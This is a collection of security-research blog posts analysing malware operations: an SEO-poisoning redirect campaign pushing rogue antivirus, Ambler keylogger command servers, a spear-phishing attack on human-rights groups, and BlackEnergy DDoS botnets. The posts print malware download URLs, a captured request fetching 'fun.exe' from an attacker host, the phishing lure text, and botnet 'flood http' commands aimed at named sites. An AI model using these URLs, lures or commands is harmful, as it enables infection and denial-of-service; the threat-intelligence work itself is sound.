The servers used by the malicious actors to receive incomping requests from the compromised web servers are using numerous domain names that resolve to several IP addresses (see malwareurl.com and malwaredomainlist.com). Despite the multiple IP addresses and domain names, they all really point to the same server. Based on “referer” logs generated by the malicious server used in the campaign, I’ve compiled statics on the amount of traffic generated by the campaign to the “/liq/?st=” page between 2010-03-15 and 2010-08-18.

A total of 5,054,990 unique IP addresses generated a total of 9,003,188 page views between 2010-03-15 and 2010-08-18. Most of the traffic (45.99%) originated from the USA. Significant traffic was also generated from the United Kingdom, Canada, Australia and India.

Country Pageviews
US 4141181
N/A 2120320
GB 584884
CA 426338
AU 192713
IN 145287
NL 94310
DE 75934
PH 72625
FR 47163

The traffic to the malicious server is primarily generated from search engine results. Google.com was the most prominent referrer with 52.18% of all the traffic. While Yahoo! was also a source of a significant amount of referrals, Bing only accounted for 631 referrals.

Referer Pageviews
www.google.com 4698249
www.google.co.uk 610156
search.yahoo.com 532038
www.google.ca 479531
www.google.com.au 241546
www.google.co.in 174538
www.google.nl 99944
www.google.com.ph 92154
search.conduit.com 87652
N/A 77259

The following table shows the keywords that appeared most frequently in the queries users entered into search engines. The queries ultimate brought the user to the malicious actors’ server and on to their PPC and/or RogueAV affiliates landing pages.

Keyword Pageviews
free 621148
printable 574588
powered 251541
letter 193575
phpbb 171689
template 168488
kids 133337
worksheets 129167
with 129162
sale 115484
pictures 110804
sample 108331
grade 105488
coloring 98791
weather 85056

In total, 81.89% of all the pageviews were from computers running Windows (XP, Vista, 7) with 49.82% from XP systems. Most of these systems were probably redirected to RogueAV landing pages (I have not seen RogueAV targeting any platform other than Windows). Realizing that income can be generated from non-Windows traffic as well, the malicious actors redirected traffic to a PPC affiliate.

Operating System Pageviews
Windows NT 5.1 4485923
Windows NT 6.0 1855129
Windows NT 6.1 1032128
Linux i686 297166
Intel Mac OS X 10_5_8 203142
Intel Mac OS X 10.5 86777
Intel Mac OS X 10_6_3 85120
Intel Mac OS X 10_6_4 73613
Intel Mac OS X 10.6 68535
CPU iPhone OS 3_1_3 50709
Intel Mac OS X 10_4_11 50346

Microsoft’s Internet Explorer accounted for 58.92% of the total pageviews, followed by Firefox. Mobile phones (iPhone, Blackerry, Android) accounted for 172,674 pageviews.

Browser Pageviews
IE 8.0 2420222
IE 7.0 1852866
IE 6.0 1026844
Firefox 3.6.3 585996
Firefox 3.5.5 268225
Chrome 5.0.375 222611
Firefox 3.6.8 214800
Safari 4.0.5 199939
Firefox 3.6.6 177534
Chrome 4.1.249 169083

How does it work?

Malicious files are uploaded to the compromised sites that contain links and text based upon lists of search queries. The snippets of text and links are used to boost the ranking of these sites in search engines. As a result, when users query search engines, the compromised websites appear in the results. When users visit these sites they are redirected to a server under the control of malicious actors.

These pages sometimes redirect users to RogueAV landing pages, and, other times display the content of the SEO pages that are generated to improve the search engine ranking for the malicious actors.

When users click the links in the search results, they are redirected to the malicious actor’s server and on through to wither their PPC affiliate’s or their RogueAV affiliate’s landing pages. In the case of RogueAV, these landing pages display a “scare page” that prompts the user to install the RogueAV software.

http://tasteandflavour.co.uk/081018/?iWeabZ2sRIt redirects to http://ebmipqasrj.ru/liq/?st=tasteandflavour.co.uk which redirects to http://erribhxzerr.co.cc/r/feed.php?k=printable+inurl%3A081018+site%3A.uk which redirects to http://erribhxzerr.co.cc/tube/?k=printable+inurl%3A081018+site%3A.uk which redirects to http://erribhxzerr.co.cc/r/sss.php which then redirects to the RogueAV affiliates http://www4.checkpc98.co.cc/?p=p52dcWpscV%2FRlsijZFahqJ51ll7DZJOejpeblGY%3D which redirects to http://www2.security-soft81.co.cc/?p=[redacted] which redirects to http://www1.cure-my-pc41.co.cc/gmug9_289.php?p=[redacted] to download the executable packupdate9_289.exe.

File name: packupdate9_289.exe
MD5: ec28207e2e63f62e6c6d71cbabeaa151
VT: Result:6/ 40 (15.0%)

The domains of the RogueAV affiliate change frequently. In addition, the RogueAV binaries also change frequently. These changes make it more difficult for security products to protect users. For example, in this case only 6 of 40 AV products on VirusTotal detected the RogueAV binary.

On some occasions, users are redirected to a PPC affiliate. This allows the malicious actors to earn income for the traffic being pushed to the PPC affiliates search engine.

http://jjp.ch/hvuWovM/ redirects to http://ebmipqasrj.ru/liq/?st=jjp.ch

http://ebmipqasrj.ru/liq/?st=jjp.ch redirects to http://errh2hxzerr.co.cc/search/?q=printable+colorful+asl+charts+or+flash+cards&aid=810&said=trend&n=5

http://errh2hxzerr.co.cc/search/?q=printable+colorful+asl+charts+or+flash+cards&aid=810&said=trend&n=5 redirects to http://www.rivasearchpage.com/?q=printable+colorful+asl+charts+or+flash+cards&aid=810&said=trend&n=5

After passing through a variety of redirects through the malicious actor’s server (ebmipqasrj.ru and errh2hxzerr.co.cc) the user ends up at the PPC affiliate page.

Some visitors are directed to download a malware binary posing as Adobe Flash Player.

Adobe__Flash__Player.exe
MD5: 658bb224c030542de22a9997e65f27e5
VT: 14/ 42 (33.3%)
Anubis Report

Traffic from over 5 million IP addresses totaling over 9 million page views in the last five months (2010-03-15 and 2010-08-18) passed through a malicious server and on to either PPC affiliates or RogueAV landing pages. This case is a good example of the profit-driven malware ecosystem. The malicious actors behind the campaign acquired (possibly from a third party) compromised FTP credentials for legitimate websites and used Black Hat SEO techniques to poison search engine results. They then redirected a significant amount of traffic through their own malicious infrastructure through to their PPC and Rogue AV affiliates. The malicious actors behind this campaign did not need a high degree of technical proficiency, the ability to program deceptive viruses and trojans or 0day exploits (or any exploits at all). All they did was leverage resources within the malware ecosystem in order to act as a “traffic broker” and redirect traffic to others within the malware ecosystem in order to generate income.

Traffic Direction Systems



Traffic Direction Systems (TDS) are used as landing pages that direct traffic to malicious content based on a variety of criteria such as operating system, browser version and geographic location. There are a variety of TDS systems available including Sutra TDS (www.kytoon.com/sutra-tds.html). Finjan posted an interesting analysis of one campaign (it no longer appears to be available) in which they tracked the use of the TDS through from the use of a malicious iframe embedded in a compromised website to an exploit pack that attempts to compromised the user based on the types of (vulnerable) software the user has installed.

The statistics pages of some of sites using SUTRA TDS (home-sd.com, sutbizka.ru and new-xmading.ru) were retrieved from the Google cache.

home-sd.com (stolencinema@hotmail.com)

sutbizka.ru (riko246@bk.ru)

new-xmading.ru (riko246@bk.ru)

I found it interesting that the highest percentage of traffic to sutbizka.ru and new-xmading.ru was from Russia. The top referrers were generally porn sites and pay-per-click sites. Pay-per-click sites are an important part of converting botnet traffic into income. In a great two-part post (Making a Million, Part One—Criminal Gangs, the Rogue Traffic Broker, and Stolen Clicks and Making a Million, Part Two—The Scale of the Threat) Trend Micro explores the relationship between these pay-per-click traffic brokers, click fraud and botnets.

Two of the top referrers to sutbizka.ru and new-xmading.ru were pay-per-click brokers media-click.ru and protizer.net.

Now, its not entirely clear what activities home-sd.com, sutbizka.ru and new-xmading.ru are engaged in, but some additional searches revealed connections with malicious activity.

For example, the email address used to register home-sd.com (stolencinema@hotmail.com) was also used to register sespeed.info which Malware URL has linked to the distribution of RogueAV/FAKEAV software. The email address used to register sutbizka.ru and new-xmading.ru (riko246@bk.ru) has been linked to several trojans by MalwareDomainList.com.

While there are malicious activities associated with common IP addresses and email addresses it is important to note that the details of linkages between all the activities remain unclear. Domain names registered with one email address maybe sold to or used by someone else. Moreover, many malicious sites may be hosted on a single IP address especially when one can purchase crimeware-friendly hosting. So, while the activity can be located within concentrations of malicious activity, and it makes sense to cluster this activity, it is important to remember that there are complex linkages between criminal actors in the malware ecosystem.

The Ambler Botnet



[UPDATED to include makeithappen2ce.info and zhogdiana.info]

In the past, the operators of large botnets sought to expand the size of their operations and cared little for the details of any individual compromised computer — one bot was as good, for the most part, as any other. Any one of the thousands of computers under their control could be used to send spam or participate in a denial of service attack. But now not all compromised computers are of equal value to botnet operators. As the focus of botnet activity becomes increasingly extractive — with an emphasis on stolen credit card numbers, credentials and private information — the geographic location of compromised computers has become an important factor for botnet operators. The geographic origin or stolen credit cards, or “dumps”, for example, is an important factor in pricing.

Geographic location is also important when botnet operators attempt to monetize their operations. The various compensation rates for pay-per-click and pay-per-install schemes — especially RogueAV/FAKEAV — are specific to the geographical location of the victim. Some of these schemes even restrict propagation in certain countries. There are botnets with victims that are highly concentrated by geographic location as well as targeted efforts to propagate botnets within specific regions.

This development may also be an effort by botnet operators to improve their operational security in response to the efforts by security researchers. As the risk of “take down” increases, botnet operators may be partitioning their operations to minimize the damage. As Dancho Danchev explains, this may also obscure the work of a single group by making it appear as if these disparate operations are the work of many unaffiliated groups.

The Ambler botnet is based on a trojan, Win32/Ambler, that has been actively spreading since at least October 2008. There are a variety of Win32/Ambler variants and many command and control servers. Win32/Ambler itself is a keylogger — malware that captures the keystrokes entered on a compromised computer — but also specifically targets those that use the online banking services of Bank of America. Win32/Ambler is also often found bundled with other malware.

The following post is the result of an investigation of six command and control servers – dertoplon.com, myhammers.org, sokam.info, sosanni.com and makeithappen2ce.info and zhogdiana.info – associated with Win32/Ambler. From these servers 1.8 gigabytes of data was collected. This data contains sensitive and private information from 11,251 compromised computers (38,920 unique IP addresses). It is not clear to me if the operators of these command and control servers are connected to each other, or if they are four separate botnets that happen to be using Win32/Ambler. Three of the C&C’s are hosted in China, and three are hosted in the US.

Geographic focus
These six control servers appear to be very focused with the vast majority of compromises in Italy, Russia and the United Kingdom, with one C&C focusing on the US. The majority of the compromised computers checking in with dertoplon.com’s two Ambler installations are from Italy (and the ones detected as EU may be Italian as well.) Those checking in with sokam.info and sosanni.com are almost entirely Russian. The compromised computers checking in with myhammers.org are mostly from the US. Finally, those checking in with makeithappen2ce.info and zhogdiana.info are primarily from the United Kingdom. There appears to be an effort to segment compromised computers at the country level among these command and control servers.

IP’s vs. Hosts
Estimating botnet size is not simply counting IP addresses. When looking at IP addresses, 38,920 unique IP addresses were found. But when counting the unique identifiers the malware assigns to each machine, the actual size of the botnet is 11,251 compromised machines. And even that number contains all machines that “checked in” with the C&C. It may include machines that are no longer compromised or no longer exist. The timestamps associated with the capture of information range from 04/16/2010 to 08/08/2010.

Captured data
The keylogger captured the keystrokes typed by the user as well as the location of the resource into which the the users entered the information. As a result broad range of content was captured including logins and passwords to email accounts, ftp accounts social networking sites and corporate and government web portals. The text of what users were searching for in search engines as well as chat conversations were also captured.

Two malware samples were found on the command and control servers:

The malware connects to the command and control server and a text file is created for each individual compromised computer. Captured information, primarily keystrokes, is uploaded and stored in these text files. There are some specific tags that delineate types of data. For example, “****BOAEMAIL****” and “****BOAQUES****” are used to identify the email address and answers to security questions for Bank of America (BOA) online banking clients. It also retrieves any stored information in protected storage, such as passwords, and marks it with “*******PROTECTED STORAGE*******” in order to identify it. the files also contain a listing of file paths for specified directories “****GETFILE PATHS****” as well as a list of the volumes available “****VOLUMES LIST****”. This allows the botnet operators to target specific files and directories for extraction.

The details for each command and control server are displayed below.

dertoplon.com (edgar.marcha@verizon.net)
(dertoplon.com had two instances of the Ambler command and control backend at different directory locations).

www.dertoplon.com has address 113.11.194.148
inetnum: 113.11.192.0 – 113.11.223.255
netname: DIGILAND
descr: Beijing Digiland media technology Co. Ltd
descr: Apt2 No5 Jinyuanzhuang AVE shijingshan district Beijing
country: CN


myhammers.org (privacy@pipedns.com)

myhammers.org has address 69.175.75.250
NetRange: 69.175.0.0 – 69.175.127.255
CIDR: 69.175.0.0/17
OriginAS: AS32475
NetName: SINGLEHOP
Country: US


sokam.info (ptrsimk@gmail.com)

www.sokam.info has address 121.101.216.195
inetnum: 121.101.208.0 – 121.101.223.255
netname: SUNINFO-MDC
descr: Beijing Sun Rise Technology CO.LTD
descr: Tedatimes Center, Suite 1908, Tower4, No.15 Guanghua Road,
descr: Chaoyang District, Beijing, 100026, PRC
country: CN


sosanni.com (migray71@yahoo.com)

sosanni.com has address 121.101.216.205
inetnum: 121.101.208.0 – 121.101.223.255
netname: SUNINFO-MDC
descr: Beijing Sun Rise Technology CO.LTD
descr: Tedatimes Center, Suite 1908, Tower4, No.15 Guanghua Road,
descr: Chaoyang District, Beijing, 100026, PRC
country: CN


makeithappen2ce.info (givin4ik69@mail.ru)

makeithappen2ce.info has address 72.232.203.93
OrgName: Layered Technologies, Inc.
Address: 5085 W Park Blvd
Address: Suite 700
City: Plano
StateProv: TX
PostalCode: 75093
Country: US


zhogdiana.info (givin4ik69@mail.ru)

zhogdiana.info has address 72.232.203.92
OrgName: Layered Technologies, Inc.
Address: 5085 W Park Blvd
Address: Suite 700
City: Plano
StateProv: TX
PostalCode: 75093
Country: US


In order to get a sense of the crimeware neighbourhood in which these control servers reside, malwaredomainlist.com is a great resource that can be used to identify other malicious domain names registered with the same email address and other domain names hosted on the same IP address.

The email addresses edgar.marcha@verizon.net and migray71@yahoo.com used to register dertoplon.com and sosanni.com were also used to register a variety of domain names that are hosting ZeuS elements as well as the Eleonore, Phoenix and Nuclear exploit kits. The IP addresses 113.11.194.148, 121.101.216.195 and 121.101.216.205 are also hosting a variety of malware including ZeuS, Russkill and YES exploit kit.

This does not mean that all of these activities are directly connected, but rather, that these activities are taking place within a malware ecosystem designed to maintain and monetize the operations of botnets. Botnets often rely on crimeware friendly hosting services, so it is not uncommon to see malicious activity concentrate around particular servers or networks. However, it does indicate that the botnet operators are connected with the malware ecosystem and leveraging the services offered within it to sustain and monetize their operations.

Human Rights and Malware Attacks



Human Rights and Malware Attacks

by Nart Villeneuve

On March 18, 2010, unknown attackers sent a spear phishing email that appeared to be from Sharon Hom, the Executive Director of Human Rights in China (HRIC), to a variety of organizations and individuals. Leveraging the trust and recognition of HRIC, the attackers’ email encouraged recipients to visit a compromised website that contained malicious code designed to allow the attackers to ultimately take full control of the visitor’s computer. These targeted malware attacks are now becoming commonplace, further extending the threat faced by civil society organizations.


UPDATE

One of the domains used in this attack, humanright-watch.org, has been used in a variety of attacks and has been documented by Mila at contagiodump.blogspot.com.


Introduction

Internet censorship is but one component of “a matrix of control” that acts to restrict and control information flow in China. The combination of censorship along with surveillance aims to influence behavior toward self-censorship so that most will not actively seek out banned information, let alone the means to bypass these controls. Those engaged in political activities and those who vocally oppose repressive policies such as censorship may be subjected to a complex set of threats—not simply censorship.

A 2008 report titled Breaching Trust: An Analysis of Surveillance and Security Practices on China’s TOM-Skype Platform uncovered that Skype and its Chinese partner Tom Online operated a surveillance network which insecurely captured millions of records including contact details for any text chat and/or voice calls and the full text of sensitive chat messages. A large portion of these captured messages concerned a political campaign that urged Chinese citizens to quit the Communist Party.

There have been an increasing number of targeted malware attacks against civil society organizations, human rights groups, media organizations, and Tibetan supporters. Typically, the targeted user receives an email, possibly appearing to be from someone they know who is a real person within his or her organization, with some text—sometimes specific, sometimes generic—that urges the user to open an attachment (or visit a web site), usually a PDF or Microsoft Office document .

If the user opens the attachment with a vulnerable version of Adobe Reader or Microsoft Office (other types of software are also being exploited) and no other mitigations are in place, their computer will likely be compromised. A clean version of the document is typically embedded in the malicious file and is opened upon successful exploitation so as not to arouse suspicion of the recipient.

Then the user’s computer checks in with a command and control server. At this point, the attacker has full control of the user’s system. The attacker can steal documents, email and send other data, or force the compromised computer to download additional malware and possibly use the infected computer as a mechanism to exploit the victim’s contacts or other computers on the target network.

In the last year, the Information Warfare Monitor has uncovered two cyber-espionage networks, investigated numerous targeted malware attacks, and published two reports: Tracking GhostNet: Investigating a Cyber Espionage Network and Shadows in the Cloud: An Investigation into Cyber Espionage 2.0.

The first, GhostNet, was a network of over 1200 compromised computers spread across 103 countries, 30 percent of which we identified and determined to be “high-value” targets, including ministries of foreign affairs, embassies, international organizations, news organizations, and a computer located at NATO headquarters. While we were able to determine that these entities had been compromised, we were only able to theorize about what type of data the attackers were able to acquire.

Our follow-up investigation uncovered the Shadow Network, and unlike GhostNet we were able to acquire the data stolen by the attackers. We were able to access just one portion of the Shadow Network that was primarily focused on extracting sensitive information from India. We recovered a wide variety of documents, including one document that appeared to be encrypted diplomatic correspondence, two documents marked “SECRET,” six as “RESTRICTED,” and five as “CONFIDENTIAL” which appear to belong to Indian government entities including the National Security Council Secretariat (NSCS) of India, the Embassy of India, Kabul, the Embassy of India, Moscow, the Consulate General of India, Dubai, and the High Commission of India in Abuja, Nigeria. We also recovered documents including 1,500 letters sent from the Dalai Lama’s office between January and November 2009.

The nature of the compromised entities and the data stolen by the attackers do indicate correlations with the strategic interests of the People’s Republic of China, but, we were unable to determine any direct connection between these attackers and elements of the Chinese state.

Investigation

Summary

On March 18, 2010, attackers sent a “spear phishing” email that appeared to originate from Sharon Hom’s email account to several different organizations and individuals. The subject of the email was “Microsoft, Stool Pigeon for the Cops and FBI” and the email contained a JPG attachment. However, the attackers’ objective was for the targets to visit the link contained in the email. The link, www.cfcr2008.org, redirected to cfcr.i1024.com which was compromised by the attackers and in which they had inserted code that caused visitors to the website to open a malicious PDF from www.520520.com.tw. This PDF exploited Adobe Reader and compromised the visitors computer. Compromised computers then connected to a website under the attackers’ control, www.humanright-watch.org, and downloaded additional malware before ultimately connecting to a command and control server, 360liveupdate. com, in China.

Spoofed Email

From: Sharon Hom <mailto:sharonhom@hrichina.org>
To
: [REDACTED]
Sent: Thursday, March 18, 2010 9:46 AM
Subject
: Microsoft, Stool Pigeon for the Cops and FBI

 

I’ve got my hands on a copy of the leaked, confidential Microsoft “Global Criminal Compliance Handbook,” which details for police and intelligence services exactly what information Microsoft collects about users of its online services, and how they can be accessed. What is gathered and available about you is quite comprehensive, including your emails, detailed information about when you sign in and use the services, credit card information, and so on. Attachments are scanned copies of documents.

For the whole documents, please visit http://www.cfcr2008.org

Email Headers

Although the email appeared to be from HRIC it was actually sent from the following location:

Sender: selina@avghost.net <mailto:selina@avghost.net>
Received
: from mail.idcsea.com.cn (mail.idcsea.com.cn [208.77.45.130])
X-mailer: Foxmail 5.0 [cn]

 

The email headers reveal that the attackers actually sent the email from the following IP address:

208.77.45.130
OrgName: DCS Pacific Star, LLC
OrgID: DCSPA
Address
: 5050 El Camino Real, #238
City: Los Altos
StateProv: CA
PostalCode
: 94022
Country: US

The email encouraged recipients to visit cfcr2008.org, the website of an organization called the Coalition for Citizen’s Rights. This organization is a vocal opponent of the Chinese government.

The attackers compromised the website and inserted malicious code that caused vulnerable visitors to silently load a malicious PDF document that infected the users computer with malware.

Image 1 Compromised site: cfcr2008.org -> cfcr.i1024.com

Image 2 js_men.asp

The malicious PDF was hosted on www.520520.com.tw (203.69.42.41), a website located in Taiwan. This malicious file has very low antivirus coverage. Only eight out of forty-two anti-virus products detected the file as malware.

Item 3

Filename readme.pdf
Filetype PDF
CVE ?
MD5 72bdca7dd12ed04b21dfa60c5c2ab6c4

Virustotal: 8/42 (19.05%)
http://www.virustotal.com/analisis/dbfded7c7401b8128f39f8e8834bafe7a11addfa9b4c5a1bb9247243a443a4b1-1269343609

http://wepawet.cs.ucsb.edu/view.php?hash=f2275da93b6f708e80a84176f64d7dfe&t=1269304734&type=js

The malware dropped by the malicious PDF issued another connection, this time to www.humanright-watch.org (204.16.193.39). This is a server under the control of the attackers. The malware made a request for another executable, which appeared to be encrypted and which no antivirus products detected as malicious.

Item 4

GET /fun.exe HTTP/1.1
Host: www.humanright-watch.org

Filename fun.exe
Filetype EXE
CVE ?
MD5 ec16143a14c091100e7af30de03fce1f

Virustotal: 0/42 (0%)
http://www.virustotal.com/analisis/8cc9dc5d07b4a9b4dca13923779a16a17e772dfbb2b7d2aa0425b5f8e03b2f1f-1269343660

Interestingly, the IP address of www.humanright-watch.org (204.16.193.39) is assigned to the same company, DCS Pacific Star, LLC, as the IP address used to send the malicious email (208.77.45.130).

The new malware downloaded from www.humanright-watch.org (204.16.193.39) began encrypted communications with a command and control server located in China at 360liveupdate.com(117.85.48.157).

Image 5

The command and control server is located in Jiangsu Province, China:

117.85.48.157
inetnum
: 117.80.0.0 – 117.95.255.255
netname
: CHINANET-JS
descr: CHINANET jiangsu province network
descr: China Telecom
descr: A12,Xin-Jie-Kou-Wai Street
descr
: Beijing 100088
country
: CN

Conclusion

The nexus of censorship, surveillance, and malware attacks enable strict information control policies in China that extend beyond China’s boundaries to affect civil society organizations around the world. An increasing number of targeted malware attacks against civil society organizations are being reported. In many cases, the attacks can be traced back to command and control infrastructure located in China. These attacks leverage trust among members of social and political networks using human rights themes and spoofed identities to encourage targeted users to execute malicious code. From that point, unknown attackers have full control over the users’ computers and can conduct surveillance, exfiltrate sensitive information, and use the computer as a staging ground for future attacks.


The original version of this article is available here and in Chinese here.

A Random Walk Through the Malware Ecosystem



The forum at darkcc.com is a location where buyers and sellers of stolen credit card information conduct exchanges. There are many forums like this that are part of the thriving market that sustain the “botnet ecosystem.” The servers that host these types of forums are typically involved in a variety of nefarious activities. This one hosts a variety of malicious software:

www.sokam .info /admnew2/Dr.exe (VT: 33/40 (82.50%)
infoshok .info /exe.php?606717496665bcba (VT: 20/40 (50.00%))
superhomelawn .com /per4d/load/load.exe (VT: 5/41 (12.20%))
senders2010 .com /sites/up.bin (zbot/zeus)
keroholek .net /tt/stat/index.php (zbot/zeus)
newdaypeace .org /npd2e/bb.php?… (oficla/sasfis)

The sites are hosted on 121.101.216.195 – SUNINFO-MDC which is located in China.

One “trusted” seller (meaning that the forum administrator had vouched for him/her) known as mrdump caught my attention. mrdump’s minimum order is now $1000 USD. In addition to advertising his/her services on the forum, mrdump included his/her website, mrdump.biz.

The site is hosted on 121.101.216.205 – SUNINFO-MDC in China and, as usual, these a fair amount of nasty stuff, mostly zeus/zbot (heroladaaw.biz, ddkom.biz, herakert.net) hosted on the same server. Another zeus/zbot command and control server found on the same server is: www.kalekets.net/tt/cfg/config.bin

There is also a BlackEnergy command and control server hosted on the same server: sinergy-dl.com. It was a fairly small botnet (total bot’s: 171, bot’s per hour: 213, bot’s per day:437, bot’s for all time:1816) and was issuing the following command “flood http kirbyservice.ru” — instructing the bots to DDoS kirbyservice.ru. Recently, the command has been changed to “die”.

One interesting find pertains to the rivalry between Zeus and SpyEye. The same server hosts www.coolparts31.tw which is a known zeus/zbot command and control server. Well it turns out that it is also a Spy Eye command and control server:

www.coolparts31.tw/S_main/bin/upload/build.exe (27/41 (65.85%))
www.coolparts31.tw/S_main/bin/upload/33.exe (VT: 10/41 (24.4%))
www.coolparts31.tw/S_main/bin/upload/server.exe (VT: 35/41 (85.37%))
www.coolparts31.tw/S_main/bin/upload/server12.exe (VT: 35/40 (87.5%))
www.coolparts31.tw/S_main/bin/upload/xServer.exe (VT: 8/40 (20%))

I recall someone (I am pretty sure it was Dancho Danchev — UPDATE: and it was here and here (thx @danchodanchev)) — reacting to this rivalry by saying that the criminals don’t really care, they’ll use any malware kit that works.

Or something like that.

Sometimes, we get sidetracked by the tools, but it’s the crime that pays.

Thanks for the malware



I checked inbox today and found an interesting email:
More… »

Blurring the Boundaries Between Cybercrime and Politically Motivated Attacks



An emerging area of inquiry in security research is the blurring boundaries between cybercrime and other, more targeted forms of attack, and more specifically attacks that appear to be politically motivated. These attacks often take the form of targeted malware attacks that act as a form of surveillance in which sensitive documents and communications are captured from the targeted organizations and individuals or politically motivated Denial of Service attacks that aim to punish, disrupt and/or censor the ability of the targets to communicate to the world.

One of the themes that informed the “Shadows in the Cloud” report was the (potential) relationship between crimeware networks and cyber-espionage. The boundaries between the two appear to be blurring making issues of attribution increasingly more complex. It may also indicate that there is an emerging market for sensitive information and/or politically motivated attacks as crimeware networks seek to monetize such information and capabilities.

I explored this theme in a report on a case related to Kneber botnet documented by NetWitness in which a known ZeuS-based botnet, typically used to steal banking information and other credentials, was specifically targeting .mil and .gov email addresses with spearphishing attacks and then dropping a second piece of malware, an infostealer, on the compromised systems that uploaded sensitive documents to a drop zones in Belarus and Russia. This botnet was engaged in all sorts of other malicious activity associated with cybercrime.

When it comes to DDoS attacks a similar pattern is observed. Jose Nazario of Arbor Networks wrote a very interesting paper that analyzed politically motivated DDoS attacks (and is basically the inspiration for this blog post). The numerous DDoS attacks described in this paper are very interesting, some are punitive attacks others appear to be an effort to censor political speech (something I worked on at ONI in the past with Kyrgyzstan in 2005 and Belarus in 2006). In the paper Nazario dicusses the role that well known BlackEnergy-based botnets played in the DDoS attacks on Georgian websites during the Russia-Georgia conflict in 2008. In a really amazing presentation Jose Nazario and Andre DiMino of Shadowserver document the attacks on Georgia. But what is most interesting, in this context, are the other unrelated targets that the same botnets also attacked. The RU-GE case is a great example of the blurring boundaries between crimeware networks, politically motivated attacks a censorship.

On a much smaller scale, I observed some recent attacks in which a BlackEnergy-based botnet attacked a variety of unrelated targets but eventually attacked political websites. The botnet was discovered while analyzing data captured from the computer of a Tibetan political figure. Due to the character of the network Greg Walton and I concluded that the attack was not targeted and was not related to the Tibet or to the political activities of the individual who was compromised. However, I continued to monitor the botnet.

The botnet had two command and control domain names 091809.ru and sexiland.ru both hosted on the same IP address (210.51.166.238, China Netcom). The command and control interface was not password protected and I was able to access it and determine the size of the botnet. According to the statistics in the interface, 091809.ru had 2044 active bots, an average of 2418 per hour and 8105 per day. In total the 091809.ru recorded 64346 infections. According to the statistics in the interface, sexiland.ru (210.51.166.238) had 3623 active bots, an average of 4869 per hour and 12749 per day. In total the sexiland.ru recorded 51813 infections. This is not a particularly large botnet at all, but the attackers could access at least 6000 bots at any given time.

This botnet attacked a variety of websites, however, four of them caught my attention.

1. bachuna.net

2009-12-15 05:00:01
flood http bachuna.net

The attackers began flooding bachuna.net on 2009-12-15. The attacks appear to relate to Ukrainian news stories (here, here, here and here) which broke around the same time as the attacks started involving a judge named Oleg Bachun and two competing websites bachuna.net and bachun.net. While the former was supportive of the judge the latter implicated him in illegal activities. Since I am relying on Google Translate it would be great of some Russia and Ukrainian speakers could provide a more in-depth assessment of what happened in the case as well as to the domain names involved as it appears from the reports that bachun.net was transfered to the owner of bachuna.net.

2. ingushetiyaru.org

2010-01-16 18:00:01 – 2010-01-20 06:00:02
flood http www.ingushetiyaru.org

Rights in Russia reported that “a website run by an opposition group in Ingushetia, Ingushetiyaru.org, suffered a DDoS attack after publishing comments critical of the region’s authorities.” Ingushetia is located near Chechnya and is a politically sensitive area. Ingushetiyaru.org reported the DDoS on their livejournal site and the broader implications in this article. This is not the first time there have DDoS attacks related to this region. Jeff Carr reported on another DDoS attack and implicated the RBN in the attack.

3. angusht.com

2010-01-22 12:00:01 – 2010-01-26 15:00:02
flood http angusht.com

This website, angusht.com, is also related to Ingushetia and reported DDoS attacks (here too) earlier this year. Several other related sites were also reported to be inacessible. The timing of the inaccessibility of the sites and the DDoS attacks on angusht.com and ingushetiyaru.org also correlate with reports of an explosion of a gas pipeline in Ingushetia.

4. kadyrov2012.com

2010-01-25 08:00:02 – 2010-01-27 02:00:01
flood http kadyrov2012.com

The website kadyrov2012.com was a satirical website claiming that the Russian-backed Chechen leader Ramzan Kadyrov was going to run in for president in Russia’s elections. Reuters reported the story on January 24 which correlate with the timing of the DDoS attacks.

These attacks are fairly small when compared with others and fly under the radar screen of most. They show that small scale attacks designed to censor opposing views occur with frequency against key websites and during critical time periods. It is clear that those engaged in political activities and those who vocally oppose repressive policies such as censorship may be subjected to a complex set of threats from targeted malware through to DDoS and not simply censorship in the form of Internet filtering. Finally, these attacks demonstrate that botnets involved with criminal activity are being used to conduct both political and apolitical DDoS attacks

Sites DDoS’d by this botnet:

flood http 195.216.243.39
flood http 208.64.123.225
flood http 213.155.12.120
flood http 217.107.35.35
flood http 217.17.158.55
flood http 217.20.163.4
flood http 62.149.24.2
flood http 72.20.34.140
flood http 80.93.54.57
flood http 82.146.43.3
flood http 89.108.126.2
flood http 94.198.51.216
flood http angusht.com
flood http angusht.com index.php
flood http angusht.com personal subscribe subscr_edit.php
flood http antiddos.org
flood http asterios.tm
flood http asterios.tm index.php
flood http asteriys.com index.php?f=stat&act=online&server=0
flood http attackers.ru
flood http bachuna.net
flood http bankunet.com
flood http barbars.ru
flood http blud.net
flood http carderfix.ru
flood http carder.info
flood http carder.info index.php
flood http carder.info,l2.theonline.ru
flood http carder.su
flood http carder.su showgroups.php
flood http ddef.ru
flood http do-finance.com
flood http fan-age.ru,l2.exsade.com,forum.exsade.com,final-zone.ru
flood http filebase.to
flood http forum.notebook812.ru
flood http forum.timesgame.ru,timesgame.ru
flood http internet-guard.net index.php
flood http kadyrov2012.com
flood http kadyrov2012.com
flood http kadyrov2012.com index
flood http karyatour.com.ua
flood http l2jfree.com
flood http la2.100nt.ru
flood http la2.timesgame.ru
flood http lineage.cn.km.ua
flood http ll2.su
flood http meridian-express.ru
flood http modcam.ru
flood http notebook812.ru
flood http notebook812.ru
flood http ohah.ru
flood http ohah.ru index.php
flood http planety-hackeram.ru
flood http portal27.ru
flood http pupsa.net
flood http rodi.ru
flood http rosban.su
flood http sever.ru
flood http slineage.ru
flood http smsdeal.ru index.php
flood http takwap.ru
flood http takwap.ru 111 XXX_DETKA
flood http takwap.ru 157 xxx ohah.ru
flood http teamsteam.ru
flood http vpotoke.com
flood http wapfan.org index.php
flood http wow.cln.ru
flood http www.2simtv.ru index.php
flood http www.angusht.com index.php
flood http www.art-taxi.ru
flood http www.glazey.ru
flood http www.ingushetiyaru.org
flood http www.notebook812.ru
flood http www.prado-club.su
flood http www.prado-club.su forum
flood http www.ripoffreport.com
flood http xaknet.ru
flood icmp forum.antichat.ru
flood syn www.ripoffreport.com 80

Shadows in the Cloud



Last year, at just about this time, the InfoWar Monitor (IWM) released the “Tracking GhostNet” report which detailed our investigation into a cyber-espionage network that has compromised 1200+ computer systems spread across 103 countries, including ministries of foreign affairs, embassies, international organizations, news organizations, and even a computer located at NATO headquarters.

I remember when I stumbled upon the GhostNet attacker’s command and control interface by Googling a string of text from the network traffic obtained during our field investigation from a compromised computer at the Dalai Lama’s office in Dharamsala , India. To my surprise Google returned several results, which I clicked, and was suddenly looking at an interface that allowed the attackers to fully control a network of compromised computer system. When the report came out and I realized the significance of the find I thought that there was no way it would happen again. I was wrong.

